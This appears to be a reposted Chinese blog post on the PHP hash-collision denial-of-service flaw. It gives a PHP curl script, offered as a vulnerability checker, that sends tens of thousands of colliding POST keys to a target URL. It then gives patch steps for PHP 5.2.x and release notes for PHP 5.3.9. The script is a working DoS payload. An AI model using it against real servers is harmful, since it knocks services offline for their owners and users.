一段用于检测PHP Hash漏洞的代码

下面是一段从互联网上转载来的PHP代码,可以用来检测服务器上的PHP是否存在Hash漏洞。

<?php
$size = pow(2, 16);
$array = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php"); //修改成你的网站域名
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    #$array[$key] = 0;
    $argument.="a[".$key."]=0&";
}
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, '0');
curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');

$return['result'] = curl_exec($ch);
$return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
?>

上面的代码请谨慎使用,同时提醒大家尽快修补漏洞,相关的方法请参见:http://www.sunbloger.com/article/224.html

 

修复PHP 5.2.x的Hash漏洞

近来爆发出来的Hash DOS漏洞威力十足,杀伤力很大。随便一台服务器就可以发起DDOS攻击,导致CPU长期占用100%,从而使服务器宕机。下面给出PHP 5.2.x的修复方法:

  • 下载补丁:https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars,下载对应的补丁版本;
  • 进入PHP目录,执行patch -p1 < php-5.2.*-max-input-vars.patch,打上补丁;
  • 重新编译安装,makemake install即可。

备注:最新发布的PHP 5.3.9和后续版本已经修复了这一漏洞。

PHP5.3.9发布

PHP

PHP5.3.9的安全改进和修复主要包括:

  • 在hash碰撞的基础上增加max_input_vars来防止冲撞
  • 修复了bug #60150

PHP5.3.9主要的改进包括

  • 修复了bug #55475
  • 修复了bug #55609
  • 改进了FPM SAPI 模块

官方网站原文如下:

阅读更多